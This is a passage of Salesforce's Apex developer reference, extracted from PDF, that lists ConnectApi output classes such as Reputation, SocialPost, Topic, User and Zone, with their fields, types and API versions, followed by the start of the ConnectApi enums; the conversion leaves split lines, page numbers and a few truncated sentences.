ContentHub • Everybody—Group is public to everybody.
GroupType
• EverybodyInDomain—Group is public to
everybody in the same domain.
• Unknown—Group type is unknown.
name String Name of the group. 39.0
SEE ALSO:
ConnectApi.RepositoryUserSummary
A user summary.
Subclass of ConnectApi.AbstractDirectoryEntrySummary

firstName String First name of the user. 39.0
lastName String Last name of the user. 39.0
1755
ConnectApi.Reputation Class
Reputation for a user.

reputationLevel ConnectApi. User’s reputation level. 32.0
ReputationLevel
reputationPoints Double User's reputation points, which can be earned by 32.0

performing different activities in the community.
url String A Chatter REST API URL to the reputation. 32.0
SEE ALSO:
ConnectApi.ReputationLevel Class
Reputation level for a user.

levelImageUrl String URL to the reputation level image. 32.0
levelName String Name of the reputation level. 32.0
levelNumber Integer Reputation level number, which is the numerical rank 32.0
of the level, with the lowest level at 1. Administrators
define the reputation level point ranges.
SEE ALSO:
ConnectApi.Reputation Class
ConnectApi.RequestHeader Class
An HTTP request header name and value pair.

name String The name of the request header. 33.0
value String The value of the request header. 33.0
SEE ALSO:
ConnectApi.ActionLinkDefinition Class
1756
ConnectApi.ResourceLinkSegment Class

url String URL to a resource not otherwise identified by an ID field, for example, 28.0
a link to a list of users.
ConnectApi.ScheduledRecommendation
Represents a scheduled recommendation.

channel ConnectApi. Specifies a way to tie recommendations together, for 36.0
Recommendation example, to display recommendations in specific
Channel places in the UI or to show recommendations based
on time of day or geographic locations. Values are:
recommendation channel. Not used by default.
Work with your community manager to define
custom channels. For example, community
managers can use Community Builder to
determine where recommendations appear.
custom channels.
custom channels.
custom channels.
custom channels.
• DefaultChannel—Default
recommendation channel. Recommendations
appear by default on the Home and Question
Detail pages of Customer Service (Napili) and
Partner Central communities. They also appear
in the feed in communities in the Salesforce1
mobile browser app and anywhere community
managers add recommendations using
Community Builder.
1757

enabled Boolean Indicates whether scheduling is enabled. If true, 35.0
the recommendation is enabled and appears in
communities. If false, recommendations in feeds
in the Salesforce1 mobile browser app aren’t
removed, but no new recommendations appear. In
Customer Service (Napili) and Partner Central
communities, disabled recommendations no longer
appear.
id String 18-character ID of the scheduled recommendation. 35.0
rank Integer The rank determining the order of this scheduled 35.0
recommendation.
recommendation String ID of the audience for the scheduled 35.0

AudienceId recommendation.
recommendation ConnectApi. Recommendation definition that this scheduled 35.0

Definition Recommendation recommendation schedules.
Representation Definition
scheduled recommendation.
SEE ALSO:
ConnectApi.ScheduledRecommendationPage
ConnectApi.ScheduledRecommendationPage
Represents a list of scheduled recommendations.

scheduled List<ConnectApi. A list of scheduled recommendations. 35.0
Recommendations Scheduled
Recommendation>
scheduled recommendation collection.
ConnectApi.SocialAccount
A social account on a social network.

externalSocial String ID of the external social account, if available. 38.0
AccountId
1758

handle String Social handle, screen name, or alias that identifies 36.0
this account.
name String Name of the account as defined by the account's 36.0

owner.
profileUrl String URL to the account's profile. 36.0
socialPersonaId String ID of the social persona account, if the external social 39.0
account ID isn’t available.
SEE ALSO:
If a feed element has this capability, it can interact with a social post on a social network.
Subclass of ConnectApi.FeedElementCapabilities Class.

author ConnectApi. Social account that authored the social post. 36.0
SocialAccount
content String Content body of the social post. 36.0
deletedBy ConnectApi.User User who deleted the social post. 38.0

Summary Class
hiddenBy ConnectApi.User User who hid the social post. 41.0

Summary Class
icon ConnectApi.Icon Icon of the social network. 36.0

Class
id String ID associated with the social post Salesforce record. 36.0
isOutbound Boolean If true, the social post originated from the 36.0
Salesforce application.
likedBy String External social account who liked the social post. 40.0
messageType ConnectApi. Message type of the social post. Values are: 38.0
SocialPost • Comment
MessageType
• Direct
• Post
• PrivateMessage
• Reply
• Retweet
1759

• Tweet
name String Title or heading of the social post. 36.0
postUrl String External URL to the social post on the social network. 36.0
provider ConnectApi. Social network that this social post belongs to. Values 36.0
SocialNetwork are:
Provider • Facebook
• GooglePlus
• Instagram
• KakaoTalk
• Kik
• Klout
• Line
• LinkedIn
• Messenger
• Other
• Pinterest
• QQ
• Rypple
• SinaWeibo
• SMS
• Snapchat
• Telegram
• Twitter
• VKontakte
• WeChat
• WhatsApp
• YouTube
recipient ConnectApi. Social account that is the recipient of the social post. 36.0
SocialAccount
recipientId String ID of the recipient of the social post. 38.0
reviewScale Double Review scale of the social post. 40.0
reviewScore Double Review score of the social post. 40.0
1760

status ConnectApi. Status of the social post. 36.0
SocialPostStatus
SEE ALSO:
ConnectApi.SocialPostStatus
The status of a social post.

message String Status message. 36.0
type ConnectApi. Status type. Values are: 36.0

SocialPostStatusType • ApprovalPending
• ApprovalRecalled
• ApprovalRejected
• Deleted
• Failed
• Hidden
• Pending
• Replied
• Sent
• Unknown
SEE ALSO:
ConnectApi.Stamp
A user stamp.

description String Description of the stamp. 39.0
id String ID of the stamp. 39.0
imageUrl String Image URL of the stamp. 39.0
1761

label String Label of the stamp. 39.0
SEE ALSO:
ConnectApi.StatusCapability
If a feed post or comment has this capability, it has a status that determines its visibility.

feedEntityStatus ConnectApi. Specifies the status of the feed post or comment. 37.0
FeedEntityStatus Values are:
• PendingReview—The feed post or comment
isn’t approved yet and therefore isn’t published
or visible.
• Published—The feed post or comment is
approved and visible.
isApprovableByMe Boolean Specifies whether the context user can change the 37.0
status of the feed post or comment.
SEE ALSO:
ConnectApi.Subscription Class

community ConnectApi.Reference Information about the community in which the 28.0
subscription exists
id String Subscription’s 18–character ID 28.0
subject ConnectApi.Actor Information about the parent, that is, the thing 28.0
or person being followed
subscriber ConnectApi.Actor Information about the subscriber, that is, the 28.0
person following this item
1762

url String Chatter REST API URL to this specific subscription 28.0
SEE ALSO:
ConnectApi.FollowerPage Class
ConnectApi.FollowingPage Class
ConnectApi.SupportedEmojis
A collection of supported emojis.

supportedEmojis ConnectApi. A collection of supported emojis. 39.0
EmojiCollection
ConnectApi.TextSegment Class
ConnectApi.TimeZone Class
The user's time zone as selected in the user’s personal settings in Salesforce. This value does not reflect a device's current location.

gmtOffset Double Signed offset, in hours, from GMT 30.0
name String Display name of this time zone 30.0
SEE ALSO:
ConnectApi.UserSettings Class
ConnectApi.Topic Class

createdDate Datetime ISO8601 date string, for example, 2011-02-25T18:24:31.000Z 29.0
description String Description of the topic 29.0
id String 18-character ID 29.0
images ConnectApi. Images associated with the topic 32.0

TopicImages
1763

isBeingDeleted Boolean true if the topic is currently being deleted; false otherwise. 33.0
After the topic is deleted, when attempting to retrieve the topic, the
output is NOT_FOUND.
name String Name of the topic 29.0
nonLocalized String Non-localized name of the topic 36.0

Name
talkingAbout Integer Number of people talking about this topic over the last two months, 29.0
based on factors such as topic additions and comments on posts
with the topic
url String URL to the topic detail page 29.0
SEE ALSO:
ConnectApi.ManagedTopic Class
ConnectApi.TopicPage Class
ConnectApi.TopicEndorsement Class
ConnectApi.TopicEndorsementCollection Class
ConnectApi.TopicSuggestion Class
ConnectApi.TopicsCapability Class
Represents one user endorsing another user for a single topic.

Version
endorsee ConnectApi.User User being endorsed 30.0
Summary
endorsementId String 18-character ID of the endorsement record 30.0
endorser ConnectApi.User User performing the endorsement 30.0

Summary
topic ConnectApi.Topic Topic the user is being endorsed for 30.0
url String URL to the resource for the endorsement record 30.0
ConnectApi.TopicEndorsementCollection Class
A collection of topic endorsement response bodies.
1764

isn’t a next page. Check whether this value is null before
getting another page. If a page doesn’t exist, a
topicEndorsements List<ConnectApi. List of topic endorsements 30.0

Topic>
ConnectApi.TopicImages Class
Images associated with a topic.

coverImageUrl String URL to a topic’s cover image, which appears on the 32.0
topic page. Both topics and managed topics can have
cover images.
featuredImageUrl String URL to a managed topic’s featured image, which 32.0

appears wherever you feature it, for example, on the
communities home page.
SEE ALSO:
ConnectApi.Topic Class
ConnectApi.TopicPage Class

Version
if there isn’t a next page. Check whether this value is
null before getting another page. If a page doesn’t
exist, a ConnectApi.NotFoundException error
is returned.
topics List<ConnectApi. List of topics 29.0

Topic>
1765
ConnectApi.TopicsCapability Class
If a feed element has this capability, the context user can add topics to it. Topics help users organize and discover conversations.

canAssignTopics Boolean true if a topic can be assigned to the feed element, 32.0
false otherwise.
items List<ConnectApi. A collection of topics associated with this feed 32.0

Topic> element.
SEE ALSO:
ConnectApi.TopicSuggestion Class

Version
existingTopic ConnectApi.Topic Topic that already exists or null for a new topic 29.0
name String Topic name 29.0
SEE ALSO:
ConnectApi.TopicSuggestionPage Class
ConnectApi.TopicSuggestionPage Class

Version
TopicSuggestions List<ConnectApi. List of topic suggestions 29.0
TopicSuggestion>
ConnectApi.TrackedChangeAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.TrackedChangesCapability is
used.

Version
changes List<ConnectApi. A list of tracked changes. 28.0–31.0
TrackedChangeItem>
1766
ConnectApi.TrackedChangeBundleCapability
If a feed element has this capability, it has a group of other feed elements aggregated into one feed element called a bundle. This type
of bundle aggregates feed tracked changes.
Subclass of ConnectApi.BundleCapability Class.

changes List<ConnectApi. Collection of feed tracked changes. 31.0
TrackedChangeItem>
ConnectApi.TrackedChangeItem Class

Version
fieldName String The name of the field that was updated. 28.0
newValue String The new value of the field or null if the field length is long. 28.0
oldValue String The old value of the field or null if the field length is long. 28.0
SEE ALSO:
ConnectApi.TrackedChangesCapability
ConnectApi.TrackedChangeBundleCapability
ConnectApi.TrackedChangesCapability
If a feed element has this capability, it contains all changes to a record for a single tracked change event.

changes List<ConnectApi. Collection of feed tracked changes. 32.0
TrackedChangeItem>
SEE ALSO:
ConnectApi.UnauthenticatedUser Class
Subclass of ConnectApi.Actor Class
Instances of this class are used as the actor for feed items and comments posted by Chatter customers.
1767
ConnectApi.UnreadConversationCount Class

Version
hasMore Boolean Specifies if there are more than 50 unread 29.0
messages (true) or not (false)
unreadCount Integer The total number of unread messages 29.0
ConnectApi.UpDownVoteCapability
If a feed post or comment has this capability, users can vote it up or down.

downVoteCount Long Number of down votes. 41.0
myVote ConnectApi. Specifies the context user’s vote. Values are: 41.0
UpDownVoteValue • Down
• None
• Up
upVoteCount Long Number of up votes. 41.0
SEE ALSO:
Superclass of:
• ConnectApi.UserDetail Class
• ConnectApi.UserSummary Class

additional String An extra label for the user, for example, “Customer,” 30.0
Label “Partner,” or “Acme Corporation.” If the user doesn’t
have an extra label, the value is null.
communityNickname String User’s nickname in the community. 32.0
1768

companyName String Name of the company. 28.0
If your community allows access without logging in,
the value is null for guest users.
displayName String User’s name that is displayed in the community. If 32.0

nicknames are enabled, the nickname is displayed. If
nicknames aren’t enabled, the full name is displayed.
firstName String User's first name. In version 39.0 and later, if nicknames 28.0
are enabled, firstName is null.
isChatterGuest Boolean true if user is a Chatter customer; false otherwise. 28.0
isInThisCommunity Boolean true if user is in the same community as the context 28.0
user; false otherwise
lastName String User's last name. In version 39.0 and later, if nicknames 28.0
are enabled, lastName is null.
outOfOffice ConnectApi. Extra out-of-office message, if one exists, for the user. 40.0
OutOfOffice
photo ConnectApi.Photo Information about the user's photos. 28.0
reputation ConnectApi.Reputation Reputation of the user. 32.0

Class
stamps List<ConnectApi.Stamp> Collection of the user’s stamps. 39.0
title String User’s title. 28.0

If your community allows access without logging in,
the value is null for guest users.
1769

userType ConnectApi.UserType Specifies the type of user. 28.0
Enum • ChatterGuest—User is an external user in a
private group.
• ChatterOnly—User is a Chatter Free
customer.
• Internal—User is a standard organization
member.
• Portal—User is an external user in a customer
portal, partner portal, or community.
• Undefined—User is a user type that is a
custom object.
SEE ALSO:
ConnectApi.UserCapabilities Class
The capabilities associated with a user profile.

Version
canChat Boolean Specifies if the context user can use Chatter Messenger with the 29.0
subject user (true) or not (false)
canDirectMessage Boolean Specifies if the context user can direct message the subject user 29.0
(true) or not (false)
canEdit Boolean Specifies if the context user can edit the subject user’s account 29.0
canFollow Boolean Specifies if the context user can follow the subject user’s feed (true) 29.0
or not (false)
canViewFeed Boolean Specifies if the context user can view the feed of the subject user 29.0
canViewFullProfile Boolean Specifies if the context user can view the full profile of the subject 29.0
user (true) or only the limited profile (false)
1770

Version
isModerator Boolean Specifies if the subject user is a Chatter moderator or admin (true) 29.0
or not (false)
SEE ALSO:
ConnectApi.UserProfile Class
ConnectApi.UserChatterSettings Class
A user’s global Chatter settings.

Version
defaultGroup ConnectApi.GroupEmail The default frequency with which a user receives email 28.0
EmailFrequency Frequency Enum from a group when they join it.
Subclass of ConnectApi.User Class
Details about a user in an organization.
If the context user doesn’t have permission to see a property, its value is set to null.

Version
aboutMe String Text from user's profile 28.0
address ConnectApi.Address User’s address 28.0
bannerPhoto ConnectApi. User’s banner photo 36.0

BannerPhoto
chatterActivity ConnectApi.Chatter Chatter activity statistics 28.0

Activity
chatterInfluence ConnectApi.Global User’s influence rank 28.0

Influence
email String User's email address 28.0
followersCount Integer Number of users following this user 28.0
followingCounts ConnectApi.Following Information about items the user is following 28.0

Counts
groupCount Integer Number of groups user is following 28.0
hasChatter Boolean true if user has access to Chatter; false otherwise 31.0
1771

Version
isActive Boolean true if user is active; false otherwise 28.0
managerId String 18-character ID of the user’s manager 28.0
managerName String Locale-based concatenation of manager's first and last 28.0

names
phoneNumbers List<ConnectApi.Phone Collection of user's phone numbers 28.0

Number>
thanksReceived Integer The number of times the user has been thanked. 29.0
username String Username of the user, such as 28.0

Admin@mycompany.com.
SEE ALSO:
ConnectApi.UserPage Class
ConnectApi.UserGroupPage Class

Version
groups List<ConnectApi. List of groups 28.0

ChatterGroup
Summary>
returned.
total Integer Total number of groups across all pages 28.0
1772
ConnectApi.UserOauthInfo

availableExternal Connect.Oauth The available OAuth service provider. 37.0
EmailService ProviderInfo
isAuthenticated Boolean Specifies whether the user is authenticated (true) or not (false). 37.0
ConnectApi.UserPage Class

Version
currentPageToken Integer Token identifying the current page. 28.0
nextPageToken Integer Token identifying the next page, or null if there isn’t a next 28.0
page.
previousPageToken Integer Token identifying the previous page, or null if there isn’t 28.0
a previous page.
users List<ConnectApi.User List of user detail information. If the context user doesn’t have 28.0
Detail> permission to see a property, the property is set to null.
Details necessary to render a view of a user profile.

Version
capabilities ConnectApi.UserCapabilities The context user’s capabilities specific to the 29.0
subject user’s profile
id String The ID of the user attached to the profile 29.0
tabs List<ConnectApi.UserProfileTab> The tabs visible to the context user specific to the 29.0
subject user’s profile
url String The URL of the user’s profile 29.0
userDetail ConnectApi.UserDetail The details about the user attached to the profile 29.0
1773
ConnectApi.UserProfileTab Class
Information about a profile tab.
Name Type Descriptio Available

Version
id String The tab’s unique identifier or 18–character ID 29.0
isDefault Boolean Specifies if the tab appears first when clicking the 29.0
user profile (true) or not (false)
tabType ConnectApi.UserProfile Specifies the type of tab 29.0

TabType Enum • CustomVisualForce—Tab that displays
data from a Visualforce page.
• CustomWeb—Tab that displays data from
any external web-based application or web
page.
• Element—Tab that displays generic
content inline.
• Feed—Tab that displays the Chatter feed.
• Overview—Tab that displays user details.
tabUrl String The current tab’s content URL (for non built-in 29.0
tab types)
SEE ALSO:
ConnectApi.UserReferencePage
A list of user references.

userCount Integer Number of users in the collection. 35.0
users List<ConnectApi. A collection of user references. 35.0

Reference>
SEE ALSO:
ConnectApi.CustomListAudienceCriteria
1774
ConnectApi.UserSettings Class
Settings specific to a user.

Version
approvalPosts Boolean User can approve workflows from Chatter posts. 28.0
canAccess Boolean User can access personal stream feeds. 40.0

PersonalStreams
canFollow Boolean User can follow users and records. 28.0
canModify Boolean User has Modify all Data permission. 28.0

AllData
canOwnGroups Boolean User can own groups. 28.0
canViewAllData Boolean User has View all Data permission. 28.0
canViewAllGroups Boolean User has View all Groups permission. 28.0
canViewAllUsers Boolean User has View all Users permission. 28.0
canViewCommunity Boolean User can see the community switcher menu. 34.0
Switcher
canViewFull Boolean User can see other user’s Chatter profile. 28.0
UserProfile
canViewPublicFiles Boolean User can see all files that are public. 28.0
currencySymbol String Currency symbol to use for displaying currency values. Applicable only when 28.0
the ConnectApi.Features.multiCurrency property is false.
externalUser Boolean User is a Chatter customer. 28.0
fileSyncLimit Integer Maximum number of files user can sync. 32.0
fileSync Integer Maximum storage for synced files, in megabytes (MB). 29.0
StorageLimit
folderSync Integer Maximum number of folders user can sync. 32.0

Limit
hasAccessTo Boolean User is a member of the internal org. 28.0

InternalOrg
hasChatter Boolean User has access to Chatter. 31.0
hasFileSync Boolean User has Sync Files permission. 28.0
hasFieldService Boolean User has Field Service Lightning GPS tracking enabled. 41.0
LocationTracking
hasFieldService Boolean User has access to the Field Service Lightning mobile app. 41.0
MobileAccess
1775

Version
hasFileSync Boolean Administrator for the user’s org allows file sync clients to update automatically. 34.0
ManagedClient
AutoUpdate
hasRestData Boolean User has access to REST API. 29.0

ApiAccess
timeZone ConnectApi. The user's time zone as selected in the user’s personal settings in Salesforce. 30.0
TimeZone This value does not reflect a device's current location.
userDefault String The ISO code for the default currency. Applicable only when the 28.0
CurrencyIsoCode ConnectApi.Features.multiCurrency property is true.
userId String 18-character ID of the user. 28.0
userLocale String Locale of user. 28.0
SEE ALSO:
ConnectApi.UserSummary Class
Subclass of ConnectApi.User Class
1776

Version
isActive Boolean true if user is active; false otherwise 28.0
SEE ALSO:
ConnectApi.ChatterLike Class
ConnectApi.DashboardComponentSnapshot
ConnectApi.GroupMembershipRequest Class
ConnectApi.GroupMember Class
ConnectApi.FeedFavorite Class
ConnectApi.OriginCapability
ConnectApi.PlatformAction Class
ConnectApi.VerifiedCapability
If a comment has this capability, users with permission can mark it as verified or unverified.

isVerifiableByMe Boolean Specifies whether the context user has permission 41.0
to mark comments as verified or unverified (true)
or not (false).
isVerified Boolean true if the comment is marked as verified, 41.0

otherwise false.
lastVerifiedByUser ConnectApi.User User who last marked the comment as verified or 41.0
Summary Class unverified, otherwise null. Also null if the
context user doesn’t have permission to mark
comments as verified or unverified.
1777

lastVerifiedDate Datetime Date when the comment was last marked as verified 41.0
or unverified, otherwise null. Also null if the
context user doesn’t have permission to mark
comments as verified or unverified.
SEE ALSO:
ConnectApi.Zone Class
Information about a Chatter Answers zone.

Version
description String The description of the zone 29.0
id String The zone ID 29.0
isActive Boolean Indicates whether or not the zone is active 29.0
isChatterAnswers Boolean Indicates whether or not the zone is available for 29.0
Chatter Answers
name String Name of the zone 29.0
url String The URL of the zone 30.0
visibility ConnectApi.ZoneShowIn Zone visibility type 29.0

• Community—Available in a community.
• Internal—Available internally only.
• Portal—Available in a portal.
visibilityId String If the zone is available in a portal or a community, 29.0

this property contains the ID of the portal or
community. If the zone is available to all portals,
this property contains the value All.
SEE ALSO:
ConnectApi.ZonePage Class
ConnectApi.ZonePage Class
Information about zone pages.
1778

Version
zones List<ConnectApi.Zone> A list of one or more zones 29.0
nextPageUrl String Chatter REST API URL identifying the next page, 29.0
or null if there isn’t a next page. Check whether
this value is null before getting another page.
If a page doesn’t exist, a
is returned.
ConnectApi.ZoneSearchPage Class
Information about the search results for zones.

Version
items List<ConnectApi.ZoneSearchResult> List of search results 29.0
nextPageUrl String Chatter REST API URL identifying the next page, 29.0
or null if there isn’t a next page. Check whether
this value is null before getting another page.
If a page doesn’t exist, a
is returned.
ConnectApi.ZoneSearchResult Class
Information about a specific zone search result.

Version
hasBestAnswer Boolean Indicates if the search result has a best answer 29.0
id String ID of the search result. The search result can be a 29.0

question or an article.
title String Title of the search result 29.0
1779

Version
type ConnectApi.ZoneSearch Specifies the zone search result type 29.0
ResultType Enum • Article—Search results contain only
articles.
• Question—Search results contain only
questions.
voteCount String Number of votes given to the search result 29.0
SEE ALSO:
ConnectApi.ZoneSearchPage Class
ConnectApi Enums
Enums specific to the ConnectApi namespace.
ConnectApi enums inherit all properties and methods of Apex enums.
Enums are not versioned. Enum values are returned in all API versions. Clients should handle values they don't understand gracefully.
Enum Description
ConnectApi.ActionLink Specifies the number of times an action link can be executed.
ExecutionsAllowed • Once—An action link can be executed only once across all users.
• OncePerUser—An action link can be executed only once for each user.
• Unlimited—An action link can be executed an unlimited number of times by each user.
If the action link’s actionType is Api or ApiAsync, you can’t use this value.
ConnectApi. Specifies the type of action link.

ActionLinkType • Api—The action link calls a synchronous API at the action URL. Salesforce sets the status
to SuccessfulStatus or FailedStatus based on the HTTP status code returned
by your server.
• ApiAsync—The action link calls an asynchronous API at the action URL. The action remains
in a PendingStatus state until a third party makes a request to
/connect/action-links/actionLinkId to set the status to
SuccessfulStatus or FailedStatus when the asynchronous operation is
complete.
ConnectApi. Specifies the type of sharing operation.

ActivitySharingTypeEnum • Everyone—The activity is shared with everyone.
• MyGroups—The activity is shared only with a selection of the context user’s groups.
• OnlyMe—The activity is private.
1780
Enum Description
ConnectApi. Specifies the type of operation to perform on articles and topics.
ArticleTopicJobType • AssignTopicsToArticle—Assign topics to articles in a data category.
• UnassignTopicsFromArticle—Unassign topics from articles in a data category.
ConnectApi.BannerStyle Decorates a feed item with a color and set of icons.

• Announcement—An announcement displays in a designated location in the Salesforce
UI until 11:59 p.m. on its expiration date, unless it’s deleted or replaced by another
announcement.
ConnectApi.BundleType Specifies the type of bundle.

• GenericBundle—A bundle that contains no additional information and is just a
collection of feed elements.
• TrackedChanges—A bundle that represents a collection of feed tracked changes. The
bundle includes summary information about the feed tracked changes that make up the
bundle.
ConnectApi. Specifies the type of user who made the comment.

CaseActorType • Customer—if a Chatter customer made the comment
• CustomerService—if a service representative made the comment
ConnectApi.CaseComment Specifies the event type of a comment in Case Feed.

EventType • NewInternal—A case comment that has newly been marked Internal Only.
• NewPublished—A newly published case comment.
• NewPublishedByCustomer—A case comment by a customer that was newly
published.
• PublishExisting—An existing case comment that was republished.
• PublishExistingByCustomer—An existing case comment by a customer that
was republished.
• UnpublishExistingByCustomer—An existing case comment by a customer that
was unpublished.
• UnpublishExsiting—An existing case comment that was unpublished.
Note: Unfortunately, this typo is in the code, not the documentation. Use this spelling
in your code.
ConnectApi.CommentType Specifies the type of comment.

• ContentComment—Comment holds a content capability.
• TextComment—Comment contains only text.
ConnectApi.CommunityFlag Specifies why a post, comment, or file is flagged.

ReasonType • FlaggedByRule—Moderation rule flagged the item.
• FlaggedBySystem—Einstein flagged the item.
1781
Enum Description
• FlaggedByUserAsInappropriate—User flagged the item as inappropriate.
• FlaggedByUserAsSpam—User flagged the item as spam.
ConnectApi. Specifies the type of moderation flag.

CommunityFlagType • FlagAsInappropriate—Flag for inappropriate content.
ConnectApi. Specifies the visibility behavior of a flag for various user types.
CommunityFlagVisibility • ModeratorsOnly—The flag is visible only to users with moderation permissions on the
flagged element or item.
• SelfAndModerators—The flag is visible to the creator of the flag and to users with
moderation permissions on the flagged element or item.
ConnectApi. Specifies the status of the community.

CommunityStatus • Live
• Inactive
ConnectApi.ActivityType Specifies the type of activity.

• All
• Event
• Task
ConnectApi.ContentHub Specifies the authentication protocol used for the repository.

AuthenticationProtocol • NoAuthentication—Repository doesn’t require authentication.
• Oauth—Repository uses OAuth authentication protocol.
• Password—Repository uses user name and password authentication protocol.
ConnectApi.ContentHub Specifies the type of directory entry.

DirectoryEntryType • GroupEntry
• UserEntry
ConnectApi.ContentHub Specifies the sharing status for the external file.

ExternalItemSharingType • DomainSharing—File is shared with the domain.
• PrivateSharing—File is private or shared only with individuals.

• PublicSharing—File is publicly shared.
ConnectApi.ContentHub Specifies the type of group.

GroupType • Everybody—Group is public to everybody.
• EverybodyInDomain—Group is public to everybody in the same domain.
• Unknown—Group type is unknown.
1782
Enum Description
ConnectApi.ContentHub Specifies the item types.
ItemType • Any—Includes files and folders.
ConnectApi.ContentHub Specifies support for content streaming.

StreamSupport • ContentStreamAllowed
• ContentStreamNotAllowed
• ContentStreamRequired
ConnectApi.ContentHub Specifies the data type of the value of the field.

VariableType • BooleanType
• DateTimeType
• DecimalType
• HtmlType
• IdType
• IntegerType
• StringType
• UriType
• XmlType
ConnectApi. Specifies the type of user.

DatacloudUserType • Monthly—A user type that’s assigned monthly point limits for purchasing Data.com
records. Only the assigned user can use monthly points. Points expire at the end of the
month. Monthly is the default setting for DatacloudUserType.
• Listpool—A user type that allows users to draw from a pool of points to purchase
Data.com records.
ConnectApi. Specifies the status of the import.

DatacloudImport • Success—Indicates that selected records were added to the organization’s CRM.
StatusTypeEnum
• Duplicate—Marks a record that is already in the organization’s CRM. The API determines
whether an organization allows the addition of duplicate records in its CRM.
• Error—Indicates that the selected records weren’t added to the organization’s CRM.
ConnectApi.DigestPeriod Specifies the period of time that is included in a Chatter email digest.
• DailyDigest—The email includes up to the 50 latest posts from the previous day.
• WeeklyDigest—The email includes up to the 50 latest posts from the previous week.
ConnectApi.EmailMessage Specifies the direction of an email message on a case.

Direction • Inbound—An inbound message (sent by a customer).
• Outbound—An outbound message (sent to a customer by a support agent).
1783
Enum Description
ConnectApi. Specifies the information type of the extension.
ExtensionInformationType • Lightning
ConnectApi. Specifies the order of comments.

FeedCommentSortOrder • CreatedDateLatestAsc—Sorts by most recently created comments in ascending
order.
ConnectApi.FeedDensity Specifies the density of the feed.

• AllUpdates—Displays all updates from people and records the user follows and groups
the user is a member of. Also displays custom recommendations.
• FewerUpdates—Displays all updates from people and records the user follows and
groups the user is a member of. Also displays custom recommendations, but hides some
system-generated updates from records.
ConnectApi. Specifies the capabilities of a feed element in API versions 31.0 and later. If a capability exists on
FeedElementCapability a feed element, the capability is available, even if the value doesn’t exist or is null. If the
Type capability doesn’t exist, it isn’t available.
• AssociatedActions—The feed element includes information about actions associated
with it.
• Approval—The feed element includes information about an approval.
• Banner—The body of the feed element has an icon and border.
• Bookmarks—The context user can bookmark the feed element. Bookmarked feed elements
are visible in the bookmarks feed.
• Bundle—The feed element has a group of other feed elements that display as a bundle
in the feed. The bundle type determines the additional data associated with the bundle.
• Canvas—The feed element renders a canvas app.
• CaseComment—The feed element has a case comment in the case feed.
• ChatterLikes—The context user can like the feed element.
• Comments—The context user can add comments to the feed element.
• Content—The feed element has a file.
• DashboardComponentSnapshot—The feed element has a dashboard component
snapshot.
• DirectMessage—The feed element is a direct message.
• Edit—Users who have permission can edit the feed element.
• EmailMessage—The feed element has an email message from a case.
• EnhancedLink—The feed element has a link that can contain supplemental information
like an icon, a title, and a description.
• Extensions—The feed element has one or more extension attachments.
• FeedEntityShare—The feed element has a feed entity shared with it.
• Files—The feed element has one or more file attachments.
1784
Enum Description
• Interactions—The feed element has information about user interactions.
• Link—The feed element has a URL.
• MediaReferences—The feed element has one or more media references.
• Moderation—Users in a community can flag the feed element for moderation.
• Mute—The context user can mute the feed element.
• Origin—The feed element was created by a feed action.
• Pin (Beta)—Users who have permission can pin the feed element.
• Poll—The feed element has poll voting.
• QuestionAndAnswers—The feed element has a question, and users can add answers
to the feed element instead of comments. Users can also select the best answer.
• ReadBy—The context user can mark the feed element as read.
• Recommendations—The feed element has a recommendation.
• RecordSnapshot—The feed element has all the snapshotted fields of a record for a
single create record event.
• SocialPost—The feed element can interact with a social post on a social network.
• Status—The feed element has a status that determines its visibility.
• Topics—The context user can add topics to the feed element.
• TrackedChanges—The feed element has all changes to a record for a single tracked
change event.
• UpDownVote—Users can vote the feed element up or down.
• Verified—Users who have permission can mark a comment as verified or unverified.
ConnectApi.FeedElement Feed elements are the top-level objects that a feed contains. The feed element type describes
Type the characteristics of that feed element.
• Bundle—A container of feed elements. A bundle also has a body made up of message
segments that can always be gracefully degraded to text-only values.
• FeedItem—A feed item has a single parent and is scoped to one community or across
all communities. A feed item can have capabilities such as bookmarks, canvas, content,
comment, link, poll. Feed items have a body made up of message segments that can always
be gracefully degraded to text-only values.
• Recommendation—A recommendation is a feed element with a recommendations
capability. A recommendation suggests records to follow, groups to join, or applications
that are helpful to the context user.
ConnectApi.FeedEntity Specifies the status of the feed post or comment.

Status • PendingReview—The feed post or comment isn’t approved yet and therefore isn’t
published or visible.
• Published—The feed post or comment is approved and visible.
ConnectApi.FeedFavorite Specifies the origin of the feed favorite, such as whether it’s a search term or a list view:
Type • ListView
1785
Enum Description
• Search
• Topic
ConnectApi.FeedFilter Specifies a filter value for a feed.

• AuthoredBy—Feed elements authored by the user profile owner. This value is valid only
for the UserProfile feed.
• CommunityScoped—Feed elements that are scoped to communities. Currently, these
feed elements have a User or a Group parent record. However, other parent record types
could be scoped to communities in the future. Feed elements that are always visible in all
communities are filtered out. This value is valid only for the UserProfile feed.
• QuestionsWithCandidateAnswers—Feed elements that are questions that have
candidate answers associated with them. This value is valid only for users with the Access
Einstein-Generated Answers permission.
• QuestionsWithCandidateAnswersReviewedPublished—Feed elements
that are questions that have candidate answers that have been reviewed or published. This
value is valid only for users with the Access Einstein-Generated Answers permission.
• Read—Feed elements that are older than 30 days or are marked as read for the context
user. Includes existing feed elements when the context user joined the group. This value is
valid only for the Record feed of a group.
• UnansweredQuestions—Feed elements that are questions and that don’t have any
answers.
• UnansweredQuestionsWithCandidateAnswers—Feed elements that are
questions that don’t have answers but have candidate answers associated with them. This
value is valid only for users with the Access Einstein-Generated Answers permission.
• Unread—Feed elements that are created in the past 30 days and aren’t marked as read
for the context user. This value is valid only for the Record feed of a group.
• UnsolvedQuestions—Feed elements that are questions and that don’t have a best
answer.
ConnectApi.FeedItem Specifies the attachment type for feed item output objects:
AttachmentType • Approval—A feed item requiring approval.
• BasicTemplate—A feed item with a generic rendering of an image, link, and title.
• Canvas—A feed item that contains the metadata to render a link to a canvas app.
• CaseComment—A feed item created from a comment to a case record.
• CaseComment—A feed item created from a comment to a case record.
• Content—A feed item with a file attached.
• DashboardComponent—A feed item with a dashboard attached.
• EmailMessage—An email attached to a case record in Case Feed.
• Link—A feed item with a URL attached.
• Poll—A feed item with a poll attached.
1786
Enum Description
• Question—A feed item with a question attached.
• RecordSnapshot—The feed item attachment contains a view of a record at a single
ConnectApi.FeedItemType.CreateRecordEvent.
• TrackedChange—All changes to a record for a single
ConnectApi.FeedItemType.TrackedChange event.
ConnectApi.FeedItemType Specifies the type of feed item, such as a content post or a text post.
• ActivityEvent—Feed item generated in Case Feed when an event or task associated
with a parent record with a feed enabled is created or updated.
